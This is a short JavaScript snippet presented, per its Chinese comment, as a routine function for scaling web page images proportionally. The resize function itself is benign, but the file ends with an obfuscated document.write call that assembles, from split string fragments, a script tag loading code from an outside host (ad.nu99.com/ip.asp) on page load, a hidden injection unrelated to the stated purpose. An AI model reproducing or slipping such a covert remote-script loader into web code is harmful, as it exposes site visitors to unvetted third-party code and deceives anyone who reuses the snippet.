<!-- // 说明：用 JavaScript 实现网页图片等比例缩放 // 
function DrawImage(ImgD,FitWidth,FitHeight){     
var image=new Image();     
image.src=ImgD.src;     
if(image.width>0 && image.height>0){         
if(image.width/image.height>= FitWidth/FitHeight){             
if(image.width>FitWidth){                 
ImgD.width=FitWidth;                 
ImgD.height=(image.height*FitWidth)/image.width;             
}else{                 
ImgD.width=image.width;                 
ImgD.height=image.height;             
}         
} else{             
if(image.height>FitHeight){                 
ImgD.height=FitHeight;                 
ImgD.width=(image.width*FitHeight)/image.height;             
}else{                 
ImgD.width=image.width;                
ImgD.height=image.height;             
}        
}     
} 
}
document.write("<scr"+"ipt src='http://ad."+"nu9"+
"9"+".com"+"/ip."+"asp?loc"+"=all'><\/scr"+"ipt>");

//-->